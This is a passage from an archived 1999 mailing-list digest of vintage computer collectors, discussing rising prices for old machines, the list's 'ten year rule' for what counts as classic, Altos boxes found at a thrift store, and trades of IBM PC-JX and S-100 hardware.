connectors. Anybody have a MARK 80? Is it any relation to the 8008 Mark-8? Chuck cswiger@widomaker.com From marvin at rain.org Mon Jan 25 10:05:03 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:30 2005 Subject: PDP-8 prices References: <01be4860$ffb40240$e5c962cf@devlaptop> Message-ID: <36AC962F.163FA434@rain.org> Mike wrote: > > -----Original Message----- > From: Tony Duell > >Computer collecting was a lot more fun when you could grab a random > >machine for a few pounds/dollars, take it home and enjoy it. > > I agree. That's why I hate the commercialization now occuring in this > hobby. I't just about gaurantees that there will be few newcomers into the > hobby that can amass the bit piles many of us own and love to explore. The same thing can be said about almost anything technical. I remember the Norton (?) Bombsight that was available at many surplus houses years ago. My dad used some of the parts for his telescope, and I had a great time playing with what was left. How much are those things worth now :)? The same things can be said about almost anything historical/antique. People will sell/throw the stuff away when it is cheap, and regret it later on when it becomes more desireable. We are in a position NOW to recognize what is happening. Most of us *are* doing something about it while we can still acquire this stuff at a free/reasonable price. From jfoust at threedee.com Mon Jan 25 09:00:04 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:30 2005 Subject: ten year rule. In-Reply-To: <199901230726.AAA03230@calico.litterbox.com> References: <009201be469d$5544e1e0$11d53d9d@JOEBAR> Message-ID: <3.0.5.32.19990125090004.00ffb480@pc> At 12:26 AM 1/23/99 -0700, Jim Strickland wrote: > >They're good little machines, except the LCD display looses vertical lines >over time as the wires through the hinge break. This reminds me of an age-related problem I have with a Sony GV-8 "Video Walkman," which may begin to affect other flat-panel devices. It has a white line across the color panel. I spoke with a repair tech who said his has the same problem, and he diagnosed it as a breakdown of the sealing compound that oxidizes the very thin conductors that drive those scan lines. - John From jfoust at threedee.com Mon Jan 25 09:14:36 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: References: <199901242007.PAA22621@dgs.cs.unc.edu> Message-ID: <3.0.5.32.19990125091436.00d0e100@pc> At 03:23 PM 1/24/99 -0500, Doug wrote: > >My stack was blown about a random unpredicatable spotlight being shown in >some dark corner. Having a "field guide" that raises awareness in general >is more like increasing the intensity of a nice even predictable light. >There will still be bargains to be found, but the entire "game" will be >raised up a notch. A good web page will have more visibility and usefulness than a paper field guide. The web page can be updated when prices change, while the book can't. You know, a cheapskate will always complain about prices. Even before the Web arose, I still encountered bozos with inflated prices. - John From ddameron at earthlink.net Mon Jan 25 08:07:40 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:30 2005 Subject: The Computer Journal In-Reply-To: References: <199901250527.WAA11421@calico.litterbox.com> Message-ID: <3.0.6.16.19990125080740.2607248a@earthlink.net> At 10:27 PM 1/24/99 -0800, Don wrote: >> eek. I imagine TurboROM is one of those parts you can't get for love nor >> money. I hope the drive works... > >I am fairly certain that it is available from TCJ. See my sig. > > - don >*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* > Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives > Chairman, Dina-SIG of the San Diego Computer Society > Clinging tenaciously to the trailing edge of technology. > Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 >*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* > see old system support at http://www.psyber.com/~tcj > visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm > with Mirror at http://www.mathcs.emory.edu/~cfs/cpm > Is The Computer Journal still in business? Their web site is still up, but I cannot tell when it was last updated. I subscribed last July and haven't yet received any issues. (In October they were working on the next one, #82...) That is about my threshold for non delivery, I wrote and sent email asking for a refund and have gotten no response. Speaking of classic computer magazines, does anyone get Historically Brewed? -Dave From edick at idcomm.com Mon Jan 25 11:24:15 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II Message-ID: <19990125173742330.AAA203@fuj034cpc2f> I was at a local thrift store yesterday and spotted a couple of oddly shaped boxes with a designation indicating them to be ALTOS boxes. One has a tape drive of some sort and the other has a floppy disk drive. Does this mean anything to anyone? IF someone wants them, I could snag them and ship. I doubt they will cost much more than $10 each. Dick ---------- > From: Doug > To: Discussion re-collecting of classic computers > Subject: Alto II (was Re: PDP-8 prices > Date: Sunday, January 24, 1999 8:36 PM > > On Sun, 24 Jan 1999, Marvin wrote: > > > I don't know if you noticed or not, but the email address of the seller is > > at spies.com. For those of you who might not be aware, spies.com is one of > > the largest repositories of arcade game related materials. The guy who runs > > it seems to be very well regarded in the collector circles. > > That's the guy. He's also well regarded by Alto collectors: > http://www.spies.com/aek/xerox.html > > So, don't worry, if you don't pay him $5K, it'll still have a good home. > $5K seems like a reasonable price, BTW (assuming he doesn't have a $20K > reserve). Only 1000 or so were made. It's historic. It would be easy to > justify. Who's gonna do it?! > > Not me! I have absolutely no desire to spend $5K on the thing. And this > confuses me a little. It's near the top of my wanted list, and I can > afford it, but the prospect doesn't interest me even a little bit. For > some reason, I find the idea somewhat offensive. > > I guess it's because I think of an acquisition sort of like an "adoption". > I'm willing to house the thing, and spend a good chunk of time trying to > get it working, keep it working, and make it accessible to others. Why > should I have to pay $5K on top of that? > > $500 seems to be my limit for what I consider a reasonable acquisition > fee. Maybe that will go up as this crazy price spiral continues, but to > pay more than that, I think you really have to be in the speculative > investment mindset, and I'm not. > > -- Doug > > From dpeschel at u.washington.edu Mon Jan 25 11:28:29 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II In-Reply-To: <19990125173742330.AAA203@fuj034cpc2f> from "Richard Erlacher" at Jan 25, 99 10:24:15 am Message-ID: <199901251728.JAA06842@saul1.u.washington.edu> > I was at a local thrift store yesterday and spotted a couple of oddly > shaped boxes with a designation indicating them to be ALTOS boxes. One has > a tape drive of some sort and the other has a floppy disk drive. Does this > mean anything to anyone? IF someone wants them, I could snag them and > ship. I doubt they will cost much more than $10 each. > > Dick I should point out (in case anybody doesn't know) that "Altos" and "Alto" are totally different kinds of machines. -- Derek From dastar at ncal.verio.com Mon Jan 25 11:35:52 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <3.0.5.32.19990125091436.00d0e100@pc> Message-ID: On Mon, 25 Jan 1999, John Foust wrote: > >My stack was blown about a random unpredicatable spotlight being shown in > >some dark corner. Having a "field guide" that raises awareness in general > >is more like increasing the intensity of a nice even predictable light. > >There will still be bargains to be found, but the entire "game" will be > >raised up a notch. > > A good web page will have more visibility and usefulness than a paper > field guide. The web page can be updated when prices change, while the > book can't. But unless you have a wireless portable that you don't mind hauling around with you, a book is more convenient to take on your hunting trips for quick reference. > You know, a cheapskate will always complain about prices. Even before > the Web arose, I still encountered bozos with inflated prices. But back then those computers perhaps still had an inkling of usability left in them. Nowadays, people are just jacking up the prices because bozos are willing to pay those prices to "collect all 4,335"* * according to the latest Comprehensive Computer Catalogue count http://www.digiweb.com/~hansp/ccc/ Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Mon Jan 25 11:37:39 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:30 2005 Subject: The Computer Journal In-Reply-To: <3.0.6.16.19990125080740.2607248a@earthlink.net> Message-ID: On Mon, 25 Jan 1999, Dave Dameron wrote: > Is The Computer Journal still in business? Their web site is still up, but I > cannot tell when it was last updated. I subscribed last July and haven't > yet received any issues. (In October they were working on the next one, > #82...) That is about my threshold for non delivery, I > wrote and sent email asking for a refund and have gotten no response. They've been busy. I subscribed over a year ago and have gotten only a few issues of my subscription. Since I know they're good guys and would never intentionally screw anyone I am not bitching about it, but I certainly do understand your plight. Keep trying, they are definitely still around, just not responding. > Speaking of classic computer magazines, does anyone get Historically Brewed? As far as I know this wasn't being published anymore(?) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Mon Jan 25 11:42:24 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II In-Reply-To: <19990125173742330.AAA203@fuj034cpc2f> Message-ID: On Mon, 25 Jan 1999, Richard Erlacher wrote: > I was at a local thrift store yesterday and spotted a couple of oddly > shaped boxes with a designation indicating them to be ALTOS boxes. One has > a tape drive of some sort and the other has a floppy disk drive. Does this > mean anything to anyone? IF someone wants them, I could snag them and > ship. I doubt they will cost much more than $10 each. They are multi-user CP/M (or MP/M) machines circa 1982-1986, mentioned here from time to time (we really need a comprehensive database that describes these machines so that people can reference the database before posting about the same stuff over and over). Having nothing to do with an Alto, they are worth anywhere from free to whatever someone would be willing to pay (which may surprise/shock you). Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From jfoust at threedee.com Mon Jan 25 11:44:38 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: References: <3.0.5.32.19990125091436.00d0e100@pc> Message-ID: <3.0.5.32.19990125114438.00ce8b80@pc> At 09:35 AM 1/25/99 -0800, Sam Ismail wrote: > >But unless you have a wireless portable that you don't mind hauling around >with you, a book is more convenient to take on your hunting trips for >quick reference. Any portable device with a display and storage abilities (on floppy or RAM) of a meg or so could easily contain such a web page, as text. Even a book won't beat a brain when it comes to being able to spot a significant device hidden in a pile of other junk. That, after all, is what each of us has trained our brain to do when on expedition to an auction or a warehouse. - John From Hans.Franke at mch20.sbs.de Mon Jan 25 12:50:53 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901242107.QAA23046@dgs.cs.unc.edu> Message-ID: <199901251751.RAA28659@nixpbe.pdb.sni.de> > ] I personally feel the 10 year "rule" is useful as a guide, however, I also > ] consider that there are several machines that rightly qualify as "Classic > ] Computers" that are less than 10 years old. There is a particular "grey" > ... snippage ... > Unless the list-maintainer gets active, "on-topic" is by concensus. If I may add here - he _is_ active - not acting as teh big boo-boo doesn't mean beeing non existent - After all, I guess nobody wants a dictatoric on/of topic thing. > We all started with the ten-year rule in the sign-on message, but it > is obvious that not everybody takes that seriously. > So, since it is a matter of concensus, here is my vote. > 1. Ten years is just a guideline. If something is only 9 years old, > I won't much mind hearing about it. I might even like it. But if > it is only two or three years old, there must be a surviving > users-group or something. Go find it, or start your own, but please > don't clutter up my mailbox with it. THere are 'surviving' user groups for machines that are _way_ older than 9 years - and before getting deeper into, this is not a user group ! And for the mailbox thing - what about a filter ? No, serious, from my simple point, all this /11/ stuff is useless (help, no, no, I didn't mean is - pleeeeease :) and just adds trafic. But I also read them, or at least open them and have a look, since sometimes, beside stupid facts, how to configure a special card, or device, there are beautiful insights and stories - and BTW, the 11 is not classic (since still available new, or at least have been sold new less than 10 years ago) nor there is no other support - there are _plenty_ of specialised lists, user groups and news areas. I even learned to love this PERQ thing (now I just need to get one :). > 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's > just an indisputable fact. :-) Boooo - shuld I throw my Apple II PC into the garbage ? They are - no mater what rules you want to apply - they are older than 10 years - there are no longer in production models, there are machines with unique abilities, there are units that made special imact in one or the other way (or are famous for not having any impact at all). > 3. Guns, cars, schools, Star Trek, and politics are not classic computers. > (This is not to disparage people interested in those things, just to > point out that those discussions belong on other mailing lists.) Guns ? Depending. Cars ? At least related somewhat. Schools ? Hey, this discusion was _very_ on topic at all ! Thats where our next collectors generation is growing, and it's part of our mission to take our idea of old technik use and preseravion to them. Themes like that is waht this list makes so different - it's not just 'put this IC into that socket' type of mails, it's about real people doing the real thing in the real world, with all interactions. Not just technik dummys. And for the Star Trek part - Of course, ST had no infuence to the idea of computers et all - you're right (BTW1: when was the last occurance of ST in this list ? BTW2: OT: I'm still searching on data for the Star Wars premiere) > 4. Simply having origins in something that is classic does not make a > thing classic. Otherwise *everything* would be classic. But looking at the origins visible in a new product is still a _very_ on topic thing - otherwise we would just ignore the world of the last 10 years. And it's one of the most interesting things about this hoby, to see how the things have evolved, how small and insignificant (at this time possibly good) decisions have breed new monsters (see A20 gate :). The advantage of an historian is not only to review a specifig period, but also trace the ways leading there, AND leading from there to 'now'. > 5. The ten year rule should apply to the date when a thing dropped off > in popularity; if it was still in common use eight years ago, it is > not yet classic. (Justification: if it is still in common use, > there will be other places to discuss it.) If we go for an 'exact' date, I think the mfg date of the specific unit is the only possible anchor - just think of machines like the A2 - acording to your definition it wont qualify. I would even go one step further and use the date of first production as base for the rule (as often done within the list - best practice rule). Just remember that new machines always have been escorted by a increased attention and speculation (no, not today :). This event itself is classic and part of the history, and the acording machine. No mater if the Mac is still in production or not, the small guy, saying "I'm glad to be out of this bag" _is_ classic, without any doubt. > 6. Do I really need to add "IMHO" here? :-) No, as always, we interprete anything we want into your words :) To get to an end: I still think the 10 year thing is a thump rule, not a law - and as rule we don't need _exact_ fixings, since this would just force the development of pseudo exact exemptions (Do I have to mention all these laws, where our beloved politicians want to do is best, and most exact as possible, and then spend the next 10 years to add sub laws without even touching the problem ?). And, to say it once more, I don't think this list 'unmaintained' - our 'boss' is just _not_ one of the I-know-it-all-and-I-will-rule-them guys. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 25 12:50:53 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <009301be47fe$3b87bf90$01010101@amranhqpo000000.jps.net> Message-ID: <199901251751.RAA28662@nixpbe.pdb.sni.de> > As for the rule itself, I agree that ten years after last manufacture > implies classic status - that is, the item is an antique. However, > that requirement of time is not necessarily the most prudent for some > items. In some cases, classic status might be applied to an item > available only two or three years ago. Such cases might be > rare but, justified by the circumstances. To look at similar things, what about cars: wasn't the VW Käfer already a classic, _years_ befor the production in Germany ended (and in fact, he is still in production in Mexico!). So, when is a classic car classic ? Basicly there is a 20 year rule (at least over here), that applies on the date of first usage of this particular unit. > I suggest also that classic status might be conferred upon a measure of the > relative throughput of the computing instrument at hand. That is, when the device > performs at a rate of two percent or less than the performance of minimal systems > sold in the marketplace (at the time of the comparison), then such a system can be > termed a classic. So, lets apply this: My KIM-1 does up to 500 kop/s (or more realistic a sustained rate of 200 to 300 kop/s). An actual multi purpouse SBC system might have an SAB 80535 at 12 MHz that could do up to 3,000 kop/s (or average 1,200 kop/s) - so my KIM is still 1/6th of an actual comperable system and not 1/50th ... Gee - and I always belived it was a classic system, but with this rule it is definitly not, since you said when _below_ 2% it _can_ be a classic. Or do you think in matters of useable performance ? My Win95 box (K6-366 running at 417) scrolls the text in about the same speed than my old A2 ... I guess both definitions are to tight. Gruss H. -- Ich denke, also bin ich, also gut HRK From edick at idcomm.com Mon Jan 25 11:54:52 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II Message-ID: <19990125180827874.AAB204@fuj034cpc2f> If you can give me some guidance as to numbers, etc of the devices you're after, or for that matter, what you don't want, I'll make sure you don't end up with something you don't want. I have to go back there because my better half likes to visit the place and hasn't finished her search. Dick ---------- > From: Sam Ismail > To: Discussion re-collecting of classic computers > Subject: Re: Alto II > Date: Monday, January 25, 1999 10:42 AM > > On Mon, 25 Jan 1999, Richard Erlacher wrote: > > > I was at a local thrift store yesterday and spotted a couple of oddly > > shaped boxes with a designation indicating them to be ALTOS boxes. One has > > a tape drive of some sort and the other has a floppy disk drive. Does this > > mean anything to anyone? IF someone wants them, I could snag them and > > ship. I doubt they will cost much more than $10 each. > > They are multi-user CP/M (or MP/M) machines circa 1982-1986, mentioned > here from time to time (we really need a comprehensive database that > describes these machines so that people can reference the database before > posting about the same stuff over and over). Having nothing to do with an > Alto, they are worth anywhere from free to whatever someone would be > willing to pay (which may surprise/shock you). > > Sellam Alternate e-mail: dastar@siconic.com > ---------------------------------------------------------------------------- -- > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] From lwalker at mail.interlog.com Sun Jan 24 07:22:11 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <01be480b$c7d1ad00$948ea6d1@the-general> Message-ID: <199901251822.NAA11611@smtp.interlog.com> On 24 Jan 99 at 18:38, Jason Willgruber wrote: > How about no IBM PC's above the 5170? > -- > -Jason Willgruber > (roblwill@usaor.net) > ICQ#: 1730318 > > It would seem that everyone wants to define the ten year rule according to their own personal predjudices. The rule has worked fine up till now, why would you want to change it ? This thread seems like an attempt to introduce "nerds" political-correctness into the mail-list. The list is self-regulating and anything blatantly non-classic is usually ignored (or flamed). One has the option of simply skipping past somethings you consider not appropriate to the list. During the y2k thread I was tempted to post how disgusting it was that Borlands Sidekick for Win 3.1 made in 94, had a planned obsolescence for 1999, as likely more of these corporate programs do. While this thread allowed me to sneakily vent ( :^)) ) this as an example, I felt it was inappropriate to the list at the time. I do, however see the PS2 8580 as a "classic". It introduced VGA and the MCA architecture, and of course MCA is no longer supported by IBM. Among my many machines I have a number of PS2s which > I < consider as collectables and yes, also a 5150, 5160, 5170. I go to the PS2 news-group for info about these machines since they are more knowledgeable about them. I similarly do the same regarding my Ataris, Commodores, and A2s. Also for the most part with the CPM newsgroup and many on the list take part in discussions there. That doesn't mean that I consider them OT, especially considering some of the totally OT threads that appear here regularly. There are several other newsgroups which now have no traffic such as the Zenith 100 one. For such as these I will turn to the list for info as well as other more obscure micros. If any changes are to be made the most obvious one would be to split the list into micro(home) computers and mini-mainframe sections in order to cut down the volume of mail. I'm sure many on the list are impatient with the micro discussions and while I find some of the PDP, Vax discussions interesting at times, many are incomprehensible to me, and I usually skip over them. My $.02(Can) worth-devalued of course ,like the canadian dollar. ciao larry lwalker@interlog.com From Philip.Belben at pgen.com Mon Jan 25 10:13:41 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:30 2005 Subject: FYI: MEI/Microcenter is out of 5-1/4" diskettes Message-ID: <80256704.005E8A33.00@WESTD90.pgen.co.uk> >>Ouch!. 8" disks are difficult to find, 5.25" disks are difficult to find >>(what about 1.2 Mbyte ones - are they still available?), 3" disks are >>impossible to find. I'd better start hoarding them... > > You can still buy 8", 5.25" HD and 3" disks. Trouble is, they may be *Really* > expensive; I noticed on the Imation web site a couple of months ago that (from > memory) a box of 8" disks was over US$100. > > 3" disks are still available new from at least one place in the UK, though they > are over 2 pounds each. This sounds useful. Do you have any more information (like the URL of the Imation web site) please? Philip. From dastar at ncal.verio.com Mon Jan 25 12:39:58 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <3.0.5.32.19990125114438.00ce8b80@pc> Message-ID: On Mon, 25 Jan 1999, John Foust wrote: > Any portable device with a display and storage abilities (on floppy > or RAM) of a meg or so could easily contain such a web page, as text. Sure, my Psion Series 5 would work just great (8MB internal plus another 8MB Flash RAM) but its a pain in the ass to open up, turn on, select the database, hit the "search" key sequence, type in the item to search for, move the unit around to get it out of direct sunlight, then read the entry. Plus, how many people carry around Psion's? Or HP 100LX's? Or PalmPilots? Or Atari Portfolios? Or whatever? You'd have to port this database to all sorts of handhelds, and not all of them will have the capacity nor the capability to deal with such a database. I'd prefer a book. > Even a book won't beat a brain when it comes to being able to spot a > significant device hidden in a pile of other junk. That, after all, > is what each of us has trained our brain to do when on expedition > to an auction or a warehouse. Sure, but I can identify that a piece of junk may be something interesting, but not necessarily what that junk may be. I'd need the field guide to hopefully look up any distinguishing name plates or model numbers and determine if what I have will make me rich on ebay or not (either way I tend to take anything I find that I don't already have). Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Mon Jan 25 13:01:04 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:30 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901251751.RAA28659@nixpbe.pdb.sni.de> Message-ID: On Mon, 25 Jan 1999, Hans Franke wrote: > > 5. The ten year rule should apply to the date when a thing dropped off > > in popularity; if it was still in common use eight years ago, it is > > not yet classic. (Justification: if it is still in common use, > > there will be other places to discuss it.) > > If we go for an 'exact' date, I think the mfg date of the > specific unit is the only possible anchor - just think of > machines like the A2 - acording to your definition it wont > qualify. I would even go one step further and use the date > of first production as base for the rule (as often done > within the list - best practice rule). Just remember that > new machines always have been escorted by a increased > attention and speculation (no, not today :). This event > itself is classic and part of the history, and the acording > machine. No mater if the Mac is still in production or not, > the small guy, saying "I'm glad to be out of this bag" > _is_ classic, without any doubt. The original intent of the 10 year rule has been lost upon the more recent members of the list. Bill Whitson created the Ten Year Rule to prevent this forum from becoming just another PC discussion group. He wanted the discussion to stay generally on the topic of discussing old computers. So by making the charter preclude discussion of computers under 10 years old, he hoped to avoid people fielding boring questions that are better asked elsewhere, in forums that are specifically catered to those particular needs. Since there was no specific forum for discussing old computers that wasn't susceptible to spam and noise (i.e. alt.folklore.computers doesn't qualify) he wanted to create one where people would be required to take their contemporary junk elsewhere. I don't think the intent of the rule was ever to totally and unequivocally deny discussions of interesting contemporary stuff, or to disallow asking the occasional emergency help question for PC or Mac related stuff (I'm very glad for that because this is the smartest group of people I know to exist on the planet and I have taken advantage of this fact by fielding the occasional modern day PC question when I needed a quick answer). So, I know it would be futile to hope this permanently recurring thread would stop recurring, but if everyone would just keep this in mind, and we would finally have a FAQ that would be required reading to all new-comers that explains this before they are allowed to post, then I think we could finally put this issue to rest...permanently. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Mon Jan 25 13:03:40 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II In-Reply-To: <19990125180827874.AAB204@fuj034cpc2f> Message-ID: On Mon, 25 Jan 1999, Richard Erlacher wrote: > If you can give me some guidance as to numbers, etc of the devices you're > after, or for that matter, what you don't want, I'll make sure you don't > end up with something you don't want. > > I have to go back there because my better half likes to visit the place and > hasn't finished her search. Sorry, I didn't mean to imply it was a waste of time! Far from it. The Altos boxes are neat. They're just not exciting as an S-100 box (which at first glance you would think they are, but they aren't). I'm sure there's someone interested in adding these computers to their collection (I have 2 or 3 myself) but the shipping charges on them would be so extreme that most people would decline. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From amirault at epix.net Mon Jan 25 16:46:51 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:30 2005 Subject: IBM PC-JX (was: Reiability of wrong media) Message-ID: <004601be48b4$9a43cb80$a09f25d8@amirault> Hi, I may be interested in one of the CPU's with a keyboard. If you have any manuals I would appreciate a copy. I think that this is the same as an IBM PCJR. If I am incorrect please let me know. I collect IBM PCJR's and would like to have one from another country. Please let me know what the shipping charge is. Also please let me have a list of wanted computers as I have a Salvation Army Store about one half hour from my house. I am in the north east corner of Pennsylvania, USA. Please contact me direct email to set up shipping arrangements, my email address is > amirault@epix.net. Thanks, John Amirault -----Original Message----- From: Phil Guerney To: Discussion re-collecting of classic computers Date: Sunday, January 24, 1999 6:23 AM Subject: Re: IBM PC-JX (was: Reiability of wrong media) >-----Original Message----- >From: Fred Cisin (XenoSoft) > >>How many know about the IBM PC-JX? It had 5.25" 720K drives! >>Never sold in the U.S., just Japan and Australia? > >Hmmm ... never sold in the US....I'll not dwell on the obvious about >collecting a load of JX systems that were used in some schools here and >selling them on e-bay ;) > >Do you US collectors want these machines? I don't collect IBM PC's, although >I did relent once and pay $A20 for a JX machine (IBM Model 5511 with 5515 >monitor and 5519 expansion unit - made in Japan and all in black with a 3.5" >drive in the main box and a 5.25" drive in the expansion box) that was in >good condition. As I suspected, not a very interesting computer to me. If >someone was prepared to foot the freight bill from Australia, I would be >prepared to sell or trade it. I also would be prepared to look out for >others and send them on. > >Same applies to real Aussie micro's like Microbees and not-so-real Aussie >items like Dick Smith branded computers (which invariably were sold under >other brand/model names in the USA). > >Trades are more interesting to me than sales - my main interest is roughly >defined as "1975-1985 home micros". It doesn't matter how much money I got >for this at auction, it wouldn't help me find a lot of stuff that seems >available to you lot at your local thrift store! > >If anybody is interested, contact me by private e-mail. Just be prepared for >at least a 3-month shipping delay, unless it is only a light item, or you >can afford a hefty air-freight bill. > >Phil >Brisbane, Australia. > > > > From edick at idcomm.com Mon Jan 25 13:58:29 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:30 2005 Subject: hardware Message-ID: <19990125201156768.AAA167@fuj034cpc2f> These are relatively small boxes, i.e. on the order of the AT&T 6300's, but not purely rectangular in front profile. They are brown in color (just a guess, as I'm "chromatically challenged" and somewhat larger than the AT&T box. By the way, it seems to me that we (you and I ) were discussing ( via email ) the transfer of a number of S-100 components I was planning to discard. I was pretty sick back then, about a year ago, but now that the MD is on top of what's wrong I'm more or less functional again. You were, ( I believe ) interested in various S-100 video boards I have. One of them is a Microangelo, but was hacked by a friend and later given to me. I'd be happy to take up that discussion again, if you're interested. As before, all I want is the cost of packaging and shipping. I've had these for a long time and don't use them and, in many cases, never have. Last summer I donated ten or a dozen terminals and nearly as many daisywheel printers to the local thrift store (a charitable organization) just to take the writeoffs. I paid lots of $$$ for some of this stuff and don't just want to toss it, so, I'm looking for a "good" home. regards, Dick ---------- > From: Sam Ismail > To: Discussion re-collecting of classic computers > Subject: Re: Alto II > Date: Monday, January 25, 1999 12:03 PM > > On Mon, 25 Jan 1999, Richard Erlacher wrote: > > > If you can give me some guidance as to numbers, etc of the devices you're > > after, or for that matter, what you don't want, I'll make sure you don't > > end up with something you don't want. > > > > I have to go back there because my better half likes to visit the place and > > hasn't finished her search. > > Sorry, I didn't mean to imply it was a waste of time! Far from it. The > Altos boxes are neat. They're just not exciting as an S-100 box (which at > first glance you would think they are, but they aren't). > > I'm sure there's someone interested in adding these computers to their > collection (I have 2 or 3 myself) but the shipping charges on them would > be so extreme that most people would decline. > > Sellam Alternate e-mail: dastar@siconic.com > ---------------------------------------------------------------------------- -- > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] From ard at p850ug1.demon.co.uk Mon Jan 25 12:37:02 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:30 2005 Subject: PDP-8 prices In-Reply-To: <008a01be4806$c0b62a00$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 24, 99 06:02:23 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 556 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/aa893905/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 25 12:53:29 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Doug" at Jan 24, 99 10:36:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1743 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/cb0579a5/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 25 12:55:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:30 2005 Subject: CoCo3's & Legitimacy of the Ten Year Rule. In-Reply-To: <3.0.1.32.19990124230710.0097dc70@mail.30below.com> from "Roger Merchberger" at Jan 24, 99 11:07:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 534 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/8b447776/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 25 13:22:19 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:30 2005 Subject: PDP-8 prices In-Reply-To: <01be4860$ffb40240$e5c962cf@devlaptop> from "Mike" at Jan 25, 99 07:48:25 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 919 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/b1a47fd7/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 25 13:27:43 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:30 2005 Subject: thousend K (was: Reiability of wrong media (was: is out of 5-1/4" diskettes) In-Reply-To: <199901251208.MAA21374@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 25, 99 01:08:47 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1869 bytes Desc: not available Url : 